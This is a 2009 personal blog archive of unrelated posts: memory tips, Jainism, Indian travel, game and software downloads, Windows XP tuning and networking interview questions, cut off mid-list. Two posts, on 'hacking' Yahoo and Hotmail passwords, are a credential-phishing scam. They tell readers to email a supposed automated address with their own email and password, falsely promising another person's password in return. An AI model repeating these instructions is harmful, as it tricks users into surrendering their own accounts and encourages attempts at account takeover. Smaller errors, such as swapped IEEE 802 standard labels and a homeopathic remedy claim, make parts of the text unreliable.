4. Under System failure, uncheck the option Automatically restart.

how to hack yahoo password

2009-06-15T08:40:00.000-07:00

THIS IS HOW TO HAVE ANYONE'S YAHOO PASSWORD

Step 1:

send a mail to: pw_customer_fetch@yahoo.com PASSWORD TEST in the subject line

Step 2: The email body

In the first line: put the complete address of the user who you want the password

Pass three lines

In the 5th line, write the email address and the login (pass) you want the password sent to, in the following form:

address@yahoo.com

here is an example:

to: ralphyboy23@yahoo.com

Subject: PW: PASSWORD TEST

---email body---

address@yahoo.com

-your email address here- ex.: jimmyb4558@yahoo.com

-your pass here- ex.: natural

This is a security method they use to test passwords after they update the Yahoo site.

This is AWESOME !!!!!!!!!!!!!!!!!!

How to Hack Any one`s HOTMAIL password??

2009-06-15T08:24:00.000-07:00

How to Hack Any one`s HOTMAIL password??

Step 1:

send a mail to robopassfind@hotmail.com with PW: fetchpass in the subject line

Step 2: The email body

In the first line: put the complete email address of the user whose password you want.

In the 5th line, type the email address and the login (pass) you want the password sent to, this all to confuse the computer.

here is an example:

To: robopassfind@hotmail.com

Subject: PW: fetchpass

CC.________________ BCC.___________________

=-email body-=

address@hotmail.com

your email adress here example.: myemail@hotmail.com
your pass here example.: mypassword

TIPS TO IMPROVE YOUR MEMORY

2009-06-13T22:52:00.000-07:00

TIPS TO IMPROVE YOUR MEMORY

1. Take tests - Why do we push things into memory. Because, we would like to recall it when the need arises. How do you know you will be able to recall when you need it? Simple, Take tests periodically and makes repeated attempts in recalling. Regular recall improves memory.

2. Take breaks - If you have 3.5 hours to read, break it into 4 parts: 45 minutes followed by a 5 to 10 minute break. Studies indicate that you can't concentrate for more than 45 minutes.

3. Sleep on it - What you review immediately before going to sleep is what your brain will most quickly and efficiently file away. So review just before sleep.

4. Relax -The Thinking Brain functions best when you are relaxed and free from stress.

5. Reading habits - Read out loud; don't bother if it disturbs others at home. Walk while you read; don't bother if it disturbs your others at home.

6. Draw charts. Write and rewrite key ideas and formula.

7. Use flash cards - Flash cards facilitate constant review and instantly help to check output. Rules, principles, formulae should all go into it.

8. Revision - You should revise shortly after the learning period. At first, say within 10 minutes after learning and then, again, within the next 24 hours. The reason: when you finish learning, the brain has not had enough time to organise and store everything. It needs a few minutes to store, organise and integrate the data. Studies show that 82% of what you learn today can be forgotten in 24 hours if you do not make a special effort to remember it.

9. Interest is the mother of attention and attention is the mother of memory.

10. The best way to remember is to repeat; and the best way to repeat is to “teach” some one else.

11. If exhaustion or drowsiness comes on frequently, take some phosphate tonic, preferably kali phos 6x or 12x prescribed by homoeopaths.

QUOTATIONS

Sit like a rock and work like a clock.

Count your life by friends not by years.

Necessity is the mother of invention.

There are many things of which a wise man may wish to be ignorant.

Some books are to be tasted, others to be swallowed and few to be chewed and digested.

Do good to your friend to keep him, to your enemy to gain him.

The smallest good deed is better than the greatest intention.

Respect your enemies for their good qualities.

Kindness is a language which the dumb can speak and the deaf can hear.

Do not think so much on others faults, that you forget your own faults.

There is keen competition at the bottom but there is always vacancy at the top.

Give to the world the best that you have and the best will come back to you.

If you have 50 friends - It is not enough but If you have one enemy - It is too much.

Winners make it happen and losers let it happen.

Doubters do not win and Winners do not doubt.

BASIC PRINCIPLES

2009-06-05T00:36:00.000-07:00

The principle Features are:

* Religion tolerance
* Ethical Purity
* Spiritual Contentment

Path to Liberation (moksha), which consists

of the three jewels (trinity or Ratna-Traya) of Jainism:

#
Right knowledge (Samyak Jnan)
#
Right Conduct (Samyak Charitrya)
#
Right Perception (Samyak Darsana)

Ratna-Traya of Jainism

Right knowledge (Samyak Jnan):

This means having an accurate and sufficient knowledge of the real universe - this requires a true knowledge of the five (or six) substances and nine truths of the universe - and having that knowledge with the right mental attitude.

One writer puts it like this: "if our character is flawed and our conscience is not clear, knowledge alone will not help us achieve composure and happiness".

Today this means having a proper knowledge of the Jain scriptures.

Some writers describe right knowledge as meaning having a pure soul; a soul that is free from attachment and desire...others say that a person who has right knowledge will naturally free themselves from attachment and desire, and so achieve peace of mind.

Right Conduct (Samyak Charitrya)

This means living your life according to Jain ethical rules, to avoid doing harm to living things and freeing yourself from attachment and other impure attitudes and thoughts.

Jains believe that a person who has right faith and right knowledge will be motivated and able to achieve right conduct.

Many Jains believe that a person without right faith and right knowledge cannot achieve right conduct - so it's no use following scripture and ritual for the wrong reasons (e.g. so that other people will think you are a good person). Not all Jains hold this view.

Right Perception (Samyak Darsana)

This doesn't mean believing what you're told, but means seeing (hearing, feeling, etc.) things properly, and avoiding preconceptions and superstitions that get in the way of seeing clearly.

Some books call samyak darshana "right perception". You can't achieve this unless you are determined to find the truth, and distinguish it from untruth.

OVERVIEW OF JAINISM

2009-06-05T00:27:00.000-07:00

Religion & faith : Jainism
"Jainism is an ancient religion from India that teaches that the way to liberation and bliss is to live a life of harmlessness and renunciation. Jainism does not believe in God as the creator of Universe."

Overview of Jainism...

Jainism is one of the oldest religions of world. It believes in a universe without beginning, without end and without creator. Rishabhdev, the first Tirthankar, is mentioned in Rig Veda, the oldest scripture of Hinduism believed to be at least 5000 years old. The last of the 24 Tirthankars of this cycle of time was Lord Mahavira. Jainism became prominent religion in India at the time of Mahavira , who was born in about 599 B.C. in the town of Vyshali , (in the present day Bihar ) in a royal family

Around 80 A. D. the Jainism was divided into two sects. The Svetambara or "white clad" and The Digambara or "sky clad". The Svetambara are more liberal in their interpretation of Mahavirals teaching regarding nudity and allow their monks to wear a white garment. Women are also allowed in their religion and monasteries accepting the possibility that they may find salvation. The Digambara are more traditionalists. They adhere to the old ideals that require their monks to go about naked. The Digambara sect believes that women have no chance of achieving salvation until they are reborn as men.

Ahimsa (Non-violence) is the basic philosophy of Jainism. Anekantvad (Non-absolutism) Syadvad (Relativity of truth) and Karma theory form the basis of Jain philosophy. The scriptures of Jainism are Agana (precepts) or Siddhantas- (treatises). Jain code of conduct includes: Ahimsa (non violence), Satya (truthfulness), Asteya (non-stealing), Aparigraha (non-possessiveness), and Brahmacharya (chastity). These are very similar to the Buddhist code of conduct

JAINISM INTRODUCTION

2009-06-05T00:16:00.000-07:00

"Namo ariha.ntaaNaM
Namo siddhaaNaM
Namo aayariyaaNaM
Namo uvajjhaayaaNaM
Namo loe savvasaahuNaM
ma.ngalaaNaM cha savvesim
paDhamaM hava{ii} ma.ngalaM"

eso pa.ncha Namokaaro
savva paavapaNaasaNo

MEANING OF NAVKAR MANTRA
I bow to the Arahants, the perfected human beings, Godmen.
I bow to the Siddhas, liberated bodiless souls, God.
I bow to the Acharyas, the masters and heads of congregations.
I bow to the Upadhyayas, the spiritual teachers.
I bow to the spiritual practitioners in the universe, Sadhus.

This fivefold obeisance mantra,
Destroys all sins and obstacles,
And of all auspicious repetitions,
Is the first and foremost.

Jainism Worship

The motive and purpose of Jain worship is very different from worship in many other religions - in fact it would seem that Jain principles make worship both unnecessary and futile.

"What does it mean to worship beings that one believes are completely indifferent to, and entirely beyond the reach, of any form of Worship whatsoever?" Lawrence A Babb

Jains don't worship to please gods, or in the hope of getting something from gods in return. But nevertheless, Jains do worship.

At a superficial level Jain temple worship seems to contain elements similar to worship in Hindu temples. This is the result of the cultural influence of other Indian religions on the Jain community, and not a reflection of the Jain philosophy.

A key difference between Jain and Hindu worship, which seems similar on the surface, is that although Jains appear to worship the tirthankaras in particular they don't worship them as persons: what they worship is the ideal of perfection that the tirthankaras have achieved.

The Purpose of Jain Worship

Jain worship provides the individual with a discipline that helps them concentrate on the Jain ideals, and cultivate detachment.

The worshipper concentrates on the virtues of the tirthankaras and other pure souls, in order to help them follow their example.

So for Jains worship is only a means to an end and not a spiritual end in itself. And worship is not a sufficient means to that end.

"Some religions preach that an individual can be saved by devotion to God, the saviour, or to God's incarnations and intermediaries. Jainism teaches that we can attain true peace and happiness only through behaving and thinking rightly." Acharya Kundakunda

COMPUTER EBOOKS DOWNLOAD

2009-05-23T23:12:00.001-07:00

1.PHP and MySQL Web Development-by LUKE WELLING AND LAURA THOMSON
click here to download

DOWNLOAD FREE FEATURED RACING GAMES

2009-05-21T23:22:00.000-07:00

1.City Racing

Huge city, illegal racing, corrupted cops. Earn money, upgrade your car or buy new one and become the most popular racer.
FILE SIZE:24MB

2.ATV QUADRO RACING

ATV Quadro Racing is an all-out pedal to the metal racing with huge jumps, turns, and opponents lurking just around the bend!

3.STREET RACER

Illegal auto racing on public roads. Compete against mad street racers and become a Superstar Racer.

3.MAD TRUCKER

Battle with crazy bosses, crash everything with your huge truck!

SIZE:11.5 MB

4.CRAZY RACING CARS

This fabulous 3D game will put you to a test of speed and skill on a variety of terrains and roads. A number of bonuses will help you win and various difficulty levels will help you improve, participate in tournaments and win the grand prix. Compete on a variety of race tracks in different weather conditions and climates and prove that you are really fast and furious!

SIZE:23 MB

ELECTRONIC SOFTWARE

2009-05-20T08:11:00.000-07:00

1.8085 SIMULATOR FREE DOWNLOAD

2.EAGLE CIRCUIT DESIGN AND PCB LAYOUT FREE DOWNLOAD

COW BOXING

2009-05-19T06:51:00.000-07:00

Cow Boxing - Flash Game

INCREDIBLE INDIA

2009-05-15T06:05:00.000-07:00

The catalog of possessions that India is admired for have no end, starting with its legendary past to the heroic tale of independence. Nowhere in the world can one find such varied and rich mix of traditionality and modernity. From sacred religious places to gigantic mountains, from charming cities nestled in deep valleys to chilly hill stations situated on peaks, India has it all. If you also want to bask in the unending glory of the marvels of India, join us on Fascinating Vacations.

There is no dearth of holiday destinations in India. From mesmerizing Hill-Stations to numerous religious destinations that re visited by people from every corner of the world, one can never run out places to visit in India. Wildlife of North India that will hold you captive, culture of Rajasthan that will leave you asking for more, the biggest Camel Fair in Pushkar, enthralling beaches of Goa, all welcome its visitors with open arms promising them a memorable vacation.

DELHI:
DELHI, the capital of kingdoms and empires is now a sprawling metropolis with a fascinating blend of the past and the present. Delhi is a perfect introduction to the composite culture of an ancient land and a window to the kaleidoscope - that is India.

OLD DELHI - A sightseeing tour of Old Delhi would entail visiting the Raj Ghat - the memorial site where Mahatma Gandhi was cremated; Jama Masjid - the largest mosque in India and the Red Fort - once the most opulent fort and palace of the Mughal Empire
.
VARANASI
Varanasi is the World's most ancient living city. Crowded with temples, and its labyrinth of streets, the city attracts the maximum number of tourists. The religious capital of Hinduism, Varanasi is the carpet-manufacturing place of India. It was previously known as Kashi - the city that illuminates. The present name is derived from the fact that the city is at the confluence of the rivers Varuna and ASI. It is also called CITY OF TEMPLES.

MUMBAI

Gateway Of India - Mumbai's principal landmark, the Gateway of India is a huge archway on the water's edge at Apollo Bunder. It is the starting point for most tourists who want to explore the city. This famous monument was built to commemorate the visit of the first ever British Monarch, King George V and Queen Mary in 1911.

Mumbai Fort - The area north of Colaba is known as Mumbai Fort, since the old British fort was once located here. There are a lot of impressive buildings from Mumbai's golden period here. St. John's church, dedicated to the soldiers, who laid down their lives in the Sindh campaign of 1838, and the first Afghan war of 1843, is also worth a visit.

Marine Drive in Mumbai - Marine Drive located in the central Mumbai, built in the 1920s and 30s on land reclaimed from the sea, is Mumbai's most famous thoroughfare. It is also referred to as the Queen's Necklace because of the dramatic line of street lamps lit up at night. Recently it has come to known as Netaji Subhashchandra Bose Road with Nariman Point on one end to Babulnath, at the foot of Walkeshwar on the other.

Hanging Gardens in Mumbai - Also known as Pherozeshah Mehta Gardens, the Hanging Gardens were built in 1880 and renovated in 1921. These gardens are popularly known as Hanging Gardens, because of their location on the slope of a hill. The terrace garden looks south from Malabar Hill towards Colaba, and affords a panoramic view of the city or a breathtaking sunset. It is built over three reservoirs, which store 30 million gallons of water pumped here for cleaning before being supplied to the town.

JAIPUR:

Jaipur is the capital of the state of Rajasthan a romantic realm of resplendent palaces, mighty fortresses and regal Maharajahs that lies in the western deserts and is an utterly unique part of India. Proudly belonging to the KSHATRIYA warrior caste and fiercely independent, the Rajput princes made fearsome foes. However, many of them realized that to maintain their wealth and authority locally, it was expedient to proclaim allegiance to the central power. Thus, many enjoyed a privileged position under the Mughal emperors and also the British Raj that followed.

The bustling Rajasthan capital of Jaipur takes its name from its venerated founder Jai Singh II, who was given the title Sawai Maharaja by the Mughal. Literally translated this would mean 'one and a quarter', suggesting that the Mughal thought this emperor to be more valuable than just 'one'. Jaipur is known as the 'Pink City' on account of the distinctive colour of its buildings. This did not, however, form part of the original plan, but dates back to 1856, when the city was given a wash of pink in honor of a State Visit from Prince Albert.

AMBER FORT PALACE - Amber is the classic romantic Rajasthani fort palace. Its construction was started by Man Singh I in 1592, and completed by his descendent Jai Singh I. Its forbidding exterior belies an inner paradise where a beautiful fusion of Mughal and Hindu styles finds its ultimate expression.

Continue sightseeing.

CITY PALACE - A delightful blend of Mughal and traditional Rajasthani architecture, the City Palace sprawls over one-seventh of the area in the walled city. It houses the Chandra Mahal, Shri Govind Dev Temple and the City Palace Museum.

JANTAR MANTAR - This is the largest and the best preserved of the five observatories built by Jai Singh II in different parts of the country. This observatory consisting of outsized astronomical instruments is still in use.

HAWA MAHAL - The ornamental facade of this "Palace of Winds" is a prominent landmark in Jaipur. It is a five-storey structure of sandstone-plastered pink encrusted with fine trelliswork and elaborate balconies. The palace has 953 niches and windows. Built in 1799 by Pratap Singh, the Mahal was a royal grandstand for the palace women.

NFS UNDERGROUND

2009-05-11T08:29:00.000-07:00

BATMAN

2009-05-11T07:56:00.000-07:00

BASKETBALL SHOOTOUTZ

2009-05-11T05:32:00.000-07:00

Basketball Shootoutz - Flash Game

GALACTIC TENNIS

2009-05-11T05:21:00.000-07:00

Galactic Tennis - Flash Game

SNOWBOARD

2009-05-11T04:47:00.000-07:00

Snowboard - Flash Game

TENNIS ACE

2009-05-11T04:41:00.000-07:00

Tennis Ace - Flash Game

SLAP SHOT(ICE HOCKEY)

2009-05-11T04:34:00.000-07:00

Slap shot - Flash Game

BATTLEFIELD 2

2009-05-11T04:08:00.001-07:00

Battlefield 2 - Flash Game

DRAG RACER

2009-05-11T03:52:00.001-07:00

Drag Racer V.3 - Flash Game

23 ways to speed up ur pc

2009-05-01T23:53:00.000-07:00

Since defragging the disk won't do much to improve Windows XP performance, here are 23 suggestions that will. Each can enhance the performance and reliability of your customers' PCs. Best of all, most of them will cost you nothing.

1.) To decrease a system's boot time and increase system performance, use the money you save by not buying defragmentation software -- the built-in Windows defragmenter works just fine -- and instead equip the computer with an Ultra-133 or Serial ATA hard drive with 8-MB cache buffer.

2.) If a PC has less than 512 MB of RAM, add more memory. This is a relatively inexpensive and easy upgrade that can dramatically improve system performance.

3.) Ensure that Windows XP is utilizing the NTFS file system. If you're not sure, here's how to check: First, double-click the My Computer icon, right-click on the C: Drive, then select Properties. Next, examine the File System type; if it says FAT32, then back-up any important data. Next, click Start, click Run, type CMD, and then click OK. At the prompt, type CONVERT C: /FS:NTFS and press the Enter key. This process may take a while; it's important that the computer be uninterrupted and virus-free. The file system used by the bootable drive will be either FAT32 or NTFS. I highly recommend NTFS for its superior security, reliability, and efficiency with larger disk drives.

4.) Disable file indexing. The indexing service extracts information from documents and other files on the hard drive and creates a "searchable keyword index." As you can imagine, this process can be quite taxing on any system.

The idea is that the user can search for a word, phrase, or property inside a document, should they have hundreds or thousands of documents and not know the file name of the document they want. Windows XP's built-in search functionality can still perform these kinds of searches without the Indexing service. It just takes longer. The OS has to open each file at the time of the request to help find what the user is looking for.

Most people never need this feature of search. Those who do are typically in a large corporate environment where thousands of documents are located on at least one server. But if you're a typical system builder, most of your clients are small and medium businesses. And if your clients have no need for this search feature, I recommend disabling it.

Here's how: First, double-click the My Computer icon. Next, right-click on the C: Drive, then select Properties. Uncheck "Allow Indexing Service to index this disk for fast file searching." Next, apply changes to "C: subfolders and files," and click OK. If a warning or error message appears (such as "Access is denied"), click the Ignore All button.

5.) Update the PC's video and motherboard chipset drivers. Also, update and configure the BIOS. For more information on how to configure your BIOS properly, see this article on my site.

6.) Empty the Windows Prefetch folder every three months or so. Windows XP can "prefetch" portions of data and applications that are used frequently. This makes processes appear to load faster when called upon by the user. That's fine. But over time, the prefetch folder may become overloaded with references to files and applications no longer in use. When that happens, Windows XP is wasting time, and slowing system performance, by pre-loading them. Nothing critical is in this folder, and the entire contents are safe to delete.

7.) Once a month, run a disk cleanup. Here's how: Double-click the My Computer icon. Then right-click on the C: drive and select Properties. Click the Disk Cleanup button -- it's just to the right of the Capacity pie graph -- and delete all temporary files.

8.) In your Device Manager, double-click on the IDE ATA/ATAPI Controllers device, and ensure that DMA is enabled for each drive you have connected to the Primary and Secondary controller. Do this by double-clicking on Primary IDE Channel. Then click the Advanced Settings tab. Ensure the Transfer Mode is set to "DMA if available" for both Device 0 and Device 1. Then repeat this process with the Secondary IDE Channel.

9.) Upgrade the cabling. As hard-drive technology improves, the cabling requirements to achieve these performance boosts have become more stringent. Be sure to use 80-wire Ultra-133 cables on all of your IDE devices with the connectors properly assigned to the matching Master/Slave/Motherboard sockets. A single device must be at the end of the cable; connecting a single drive to the middle connector on a ribbon cable will cause signaling problems. With Ultra DMA hard drives, these signaling problems will prevent the drive from performing at its maximum potential. Also, because these cables inherently support "cable select," the location of each drive on the cable is important. For these reasons, the cable is designed so drive positioning is explicitly clear.

10.) Remove all spyware from the computer. Use free programs such as AdAware by Lavasoft or SpyBot Search & Destroy. Once these programs are installed, be sure to check for and download any updates before starting your search. Anything either program finds can be safely removed. Any free software that requires spyware to run will no longer function once the spyware portion has been removed; if your customer really wants the program even though it contains spyware, simply reinstall it. For more information on removing Spyware visit this Web Pro News page.

11.) Remove any unnecessary programs and/or items from Windows Startup routine using the MSCONFIG utility. Here's how: First, click Start, click Run, type MSCONFIG, and click OK. Click the StartUp tab, then uncheck any items you don't want to start when Windows starts. Unsure what some items are? Visit the WinTasks Process Library. It contains known system processes, applications, as well as spyware references and explanations. Or quickly identify them by searching for the filenames using Google or another Web search engine.

12.) Remove any unnecessary or unused programs from the Add/Remove Programs section of the Control Panel.

13.) Turn off any and all unnecessary animations, and disable active desktop. In fact, for optimal performance, turn off all animations. Windows XP offers many different settings in this area. Here's how to do it: First click on the System icon in the Control Panel. Next, click on the Advanced tab. Select the Settings button located under Performance. Feel free to play around with the options offered here, as nothing you can change will alter the reliability of the computer -- only its responsiveness.

14.) If your customer is an advanced user who is comfortable editing their registry, try some of the performance registry tweaks offered at Tweak XP.

15.) Visit Microsoft's Windows update site regularly, and download all updates labeled Critical. Download any optional updates at your discretion.

16.) Update the customer's anti-virus software on a weekly, even daily, basis. Make sure they have only one anti-virus software package installed. Mixing anti-virus software is a sure way to spell disaster for performance and reliability.

17.) Make sure the customer has fewer than 500 type fonts installed on their computer. The more fonts they have, the slower the system will become. While Windows XP handles fonts much more efficiently than did the previous versions of Windows, too many fonts -- that is, anything over 500 -- will noticeably tax the system.

18.) Do not partition the hard drive. Windows XP's NTFS file system runs more efficiently on one large partition. The data is no safer on a separate partition, and a reformat is never necessary to reinstall an operating system. The same excuses people offer for using partitions apply to using a folder instead. For example, instead of putting all your data on the D: drive, put it in a folder called "D drive." You'll achieve the same organizational benefits that a separate partition offers, but without the degradation in system performance. Also, your free space won't be limited by the size of the partition; instead, it will be limited by the size of the entire hard drive. This means you won't need to resize any partitions, ever. That task can be time-consuming and also can result in lost data.

19.) Check the system's RAM to ensure it is operating properly. I recommend using a free program called MemTest86. The download will make a bootable CD or diskette (your choice), which will run 10 extensive tests on the PC's memory automatically after you boot to the disk you created. Allow all tests to run until at least three passes of the 10 tests are completed. If the program encounters any errors, turn off and unplug the computer, remove a stick of memory (assuming you have more than one), and run the test again. Remember, bad memory cannot be repaired, but only replaced.

20.) If the PC has a CD or DVD recorder, check the drive manufacturer's Web site for updated firmware. In some cases you'll be able to upgrade the recorder to a faster speed. Best of all, it's free.

21.) Disable unnecessary services. Windows XP loads a lot of services that your customer most likely does not need. To determine which services you can disable for your client, visit the Black Viper site for Windows XP configurations.

22.) If you're sick of a single Windows Explorer window crashing and then taking the rest of your OS down with it, then follow this tip: open My Computer, click on Tools, then Folder Options. Now click on the View tab. Scroll down to "Launch folder windows in a separate process," and enable this option. You'll have to reboot your machine for this option to take effect.

23.) At least once a year, open the computer's cases and blow out all the dust and debris. While you're in there, check that all the fans are turning properly. Also inspect the motherboard capacitors for bulging or leaks. For more information on this leaking-capacitor phenomena, you can read numerous articles on my site.

Following any of these suggestions should result in noticeable improvements to the performance and reliability of your customers' computers. If you still want to defrag a disk, remember that the main benefit will be to make your data more retrievable in the event of a crashed drive.

computer networking concept

2009-04-27T08:15:00.000-07:00

Networking concepts

1. What are the two types of transmission technology available?
(i) Broadcast and (ii) point-to-point

2. What is subnet?
A generic term for section of a large networks usually separated by a bridge or router.

3. Difference between the communication and transmission.
Transmission is a physical movement of information and concern issues like bit polarity, synchronisation, clock etc.
Communication means the meaning full exchange of information between two communication media.

4. What are the possible ways of data exchange?
(i) Simplex (ii) Half-duplex (iii) Full-duplex.

5. What is SAP?
Series of interface points that allow other computers to communicate with the other layers of network protocol stack.

6. What do you meant by "triple X" in Networks?
The function of PAD (Packet Assembler Disassembler) is described in a document known as X.3. The standard protocol has been defined between the terminal and the PAD, called X.28; another standard protocol exists between hte PAD and the network, called X.29. Together, these three recommendations are often called "triple X"

7. What is frame relay, in which layer it comes?
Frame relay is a packet switching technology. It will operate in the data link layer.

8. What is terminal emulation, in which layer it comes?
Telnet is also called as terminal emulation. It belongs to application layer.

9. What is Beaconing?
The process that allows a network to self-repair networks problems. The stations on the network notify the other stations on the ring when they are not receiving the transmissions. Beaconing is used in Token ring and FDDI networks.

10. What is redirector?
Redirector is software that intercepts file or prints I/O requests and translates them into network requests. This comes under presentation layer.

11. What is NETBIOS and NETBEUI?
NETBIOS is a programming interface that allows I/O requests to be sent to and received from a remote computer and it hides the networking hardware from applications.
NETBEUI is NetBIOS extended user interface. A transport protocol designed by microsoft and IBM for the use on small subnets.

12. What is RAID?
A method for providing fault tolerance by using multiple hard disk drives.

13. What is passive topology?
When the computers on the network simply listen and receive the signal, they are referred to as passive because they don’t amplify the signal in any way. Example for passive topology - linear bus.

14. What is Brouter?
Hybrid devices that combine the features of both bridges and routers.

15. What is cladding?
A layer of a glass surrounding the center fiber of glass inside a fiber-optic cable.

16. What is point-to-point protocol
A communications protocol used to connect computers to remote networking services including Internet service providers.

17. How Gateway is different from Routers?
A gateway operates at the upper levels of the OSI model and translates information between two completely different network architectures or data formats

18. What is attenuation?
The degeneration of a signal over distance on a network cable is called attenuation.

19. What is MAC address?
The address for a device as it is identified at the Media Access Control (MAC) layer in the network architecture. MAC address is usually stored in ROM on the network adapter card and is unique.

20. Difference between bit rate and baud rate.
Bit rate is the number of bits transmitted during one second whereas baud rate refers to the number of signal units per second that are required to represent those bits.
baud rate = bit rate / N
where N is no-of-bits represented by each signal shift.

21. What is Bandwidth?
Every line has an upper limit and a lower limit on the frequency of signals it can carry. This limited range is called the bandwidth.

22. What are the types of Transmission media?
Signals are usually transmitted over some transmission media that are broadly classified in to two categories.
a) Guided Media:
These are those that provide a conduit from one device to another that include twisted-pair, coaxial cable and fiber-optic cable. A signal traveling along any of these media is directed and is contained by the physical limits of the medium. Twisted-pair and coaxial cable use metallic that accept and transport signals in the form of electrical current. Optical fiber is a glass or plastic cable that accepts and transports signals in the form of light.
b) Unguided Media:
This is the wireless media that transport electromagnetic waves without using a physical conductor. Signals are broadcast either through air. This is done through radio communication, satellite communication and cellular telephony.

23. What is Project 802?
It is a project started by IEEE to set standards to enable intercommunication between equipment from a variety of manufacturers. It is a way for specifying functions of the physical layer, the data link layer and to some extent the network layer to allow for interconnectivity of major LAN
protocols.
It consists of the following:
 802.1 is an internetworking standard for compatibility of different LANs and MANs across protocols.
 802.2 Logical link control (LLC) is the upper sublayer of the data link layer which is non-architecture-specific, that is remains the same for all IEEE-defined LANs.
 Media access control (MAC) is the lower sublayer of the data link layer that contains some distinct modules each carrying proprietary information specific to the LAN product being used. The modules are Ethernet LAN (802.3), Token ring LAN (802.4), Token bus LAN (802.5).
 802.6 is distributed queue dual bus (DQDB) designed to be used in MANs.

24. What is Protocol Data Unit?
The data unit in the LLC level is called the protocol data unit (PDU). The PDU contains of four fields a destination service access point (DSAP), a source service access point (SSAP), a control field and an information field. DSAP, SSAP are addresses used by the LLC to identify the protocol stacks on the receiving and sending machines that are generating and using the data. The control field specifies whether the PDU frame is a information frame (I - frame) or a supervisory frame (S - frame) or a unnumbered frame (U - frame).

25. What are the different type of networking / internetworking devices?
Repeater:
Also called a regenerator, it is an electronic device that operates only at physical layer. It receives the signal in the network before it becomes weak, regenerates the original bit pattern and puts the refreshed copy back in to the link.
Bridges:
These operate both in the physical and data link layers of LANs of same type. They divide a larger network in to smaller segments. They contain logic that allow them to keep the traffic for each segment separate and thus are repeaters that relay a frame only the side of the segment containing the intended recipent and control congestion.
Routers:
They relay packets among multiple interconnected networks (i.e. LANs of different type). They operate in the physical, data link and network layers. They contain software that enable them to determine which of the several possible paths is the best for a particular transmission.
Gateways:
They relay packets among networks that have different protocols (e.g. between a LAN and a WAN). They accept a packet formatted for one protocol and convert it to a packet formatted for another protocol before forwarding it. They operate in all seven layers of the OSI model.

26. What is ICMP?
ICMP is Internet Control Message Protocol, a network layer protocol of the TCP/IP suite used by hosts and gateways to send notification of datagram problems back to the sender. It uses the echo test / reply to test whether a destination is reachable and responding. It also handles both control and error messages.

27. What are the data units at different layers of the TCP / IP protocol suite?
The data unit created at the application layer is called a message, at the transport layer the data unit created is called either a segment or an user datagram, at the network layer the data unit created is called the datagram, at the data link layer the datagram is encapsulated in to a frame and finally transmitted as signals along the transmission media.

28. What is difference between ARP and RARP?
The address resolution protocol (ARP) is used to associate the 32 bit IP address with the 48 bit physical address, used by a host or a router to find the physical address of another host on its network by sending a ARP query packet that includes the IP address of the receiver.
The reverse address resolution protocol (RARP) allows a host to discover its Internet address when it knows only its physical address.

29. What is the minimum and maximum length of the header in the TCP segment and IP datagram?
The header should have a minimum length of 20 bytes and can have a maximum length of 60 bytes.

30. What is the range of addresses in the classes of internet addresses?
Class A 0.0.0.0 - 127.255.255.255
Class B 128.0.0.0 - 191.255.255.255
Class C 192.0.0.0 - 223.255.255.255
Class D 224.0.0.0 - 239.255.255.255
Class E 240.0.0.0 - 247.255.255.255

31. What is the difference between TFTP and FTP application layer protocols?
The Trivial File Transfer Protocol (TFTP) allows a local host to obtain files from a remote host but does not provide reliability or security. It uses the fundamental packet delivery services offered by UDP.
The File Transfer Protocol (FTP) is the standard mechanism provided by TCP / IP for copying a file from one host to another. It uses the services offer by TCP and so is reliable and secure. It establishes two connections (virtual circuits) between the hosts, one for data transfer and another for control information.

32. What are major types of networks and explain?
 Server-based network
 Peer-to-peer network
Peer-to-peer network, computers can act as both servers sharing resources and as clients using the resources.
Server-based networks provide centralized control of network resources and rely on server computers to provide security and network administration

33. What are the important topologies for networks?
 BUS topology:
In this each computer is directly connected to primary network cable in a single line.
Advantages:
Inexpensive, easy to install, simple to understand, easy to extend.

 STAR topology:
In this all computers are connected using a central hub.
Advantages:
Can be inexpensive, easy to install and reconfigure and easy to trouble shoot physical problems.

 RING topology:
In this all computers are connected in loop.
Advantages:
All computers have equal access to network media, installation can be simple, and signal does not degrade as much as in other topologies because each computer regenerates it.

34. What is mesh network?
A network in which there are multiple network links between computers to provide multiple paths for data to travel.

35. What is difference between baseband and broadband transmission?
In a baseband transmission, the entire bandwidth of the cable is consumed by a single signal. In broadband transmission, signals are sent on multiple frequencies, allowing multiple signals to be sent simultaneously.

36. Explain 5-4-3 rule?
In a Ethernet network, between any two points on the network ,there can be no more than five network segments or four repeaters, and of those five segments only three of segments can be populated.

37. What MAU?
In token Ring , hub is called Multistation Access Unit(MAU).

38. What is the difference between routable and non- routable protocols?
Routable protocols can work with a router and can be used to build large networks. Non-Routable protocols are designed to work on small, local networks and cannot be used with a router

39. Why should you care about the OSI Reference Model?
It provides a framework for discussing network operations and design.

40. What is logical link control?
One of two sublayers of the data link layer of OSI reference model, as defined by the IEEE 802 standard. This sublayer is responsible for maintaining the link between computers when they are sending data across the physical network connection.

41. What is virtual channel?
Virtual channel is normally a connection from one source to one destination, although multicast connections are also permitted. The other name for virtual channel is virtual circuit.

42. What is virtual path?
Along any transmission path from a given source to a given destination, a group of virtual circuits can be grouped together into what is called path.

43. What is packet filter?
Packet filter is a standard router equipped with some extra functionality. The extra functionality allows every incoming or outgoing packet to be inspected. Packets meeting some criterion are forwarded normally. Those that fail the test are dropped.

44. What is traffic shaping?
One of the main causes of congestion is that traffic is often busy. If hosts could be made to transmit at a uniform rate, congestion would be less common. Another open loop method to help manage congestion is forcing the packet to be transmitted at a more predictable rate. This is called traffic shaping.

45. What is multicast routing?
Sending a message to a group is called multicasting, and its routing algorithm is called multicast routing.

46. What is region?
When hierarchical routing is used, the routers are divided into what we will call regions, with each router knowing all the details about how to route packets to destinations within its own region, but knowing nothing about the internal structure of other regions.

47. What is silly window syndrome?
It is a problem that can ruin TCP performance. This problem occurs when data are passed to the sending TCP entity in large blocks, but an interactive application on the receiving side reads 1 byte at a time.

48. What are Digrams and Trigrams?
The most common two letter combinations are called as digrams. e.g. th, in, er, re and an. The most common three letter combinations are called as trigrams. e.g. the, ing, and, and ion.

49. Expand IDEA.
IDEA stands for International Data Encryption Algorithm.

50. What is wide-mouth frog?
Wide-mouth frog is the simplest known key distribution center (KDC) authentication protocol.

51. What is Mail Gateway?
It is a system that performs a protocol translation between different electronic mail delivery protocols.

52. What is IGP (Interior Gateway Protocol)?
It is any routing protocol used within an autonomous system.

53. What is EGP (Exterior Gateway Protocol)?
It is the protocol the routers in neighboring autonomous systems use to identify the set of networks that can be reached within or via each autonomous system.

54. What is autonomous system?
It is a collection of routers under the control of a single administrative authority and that uses a common Interior Gateway Protocol.

55. What is BGP (Border Gateway Protocol)?
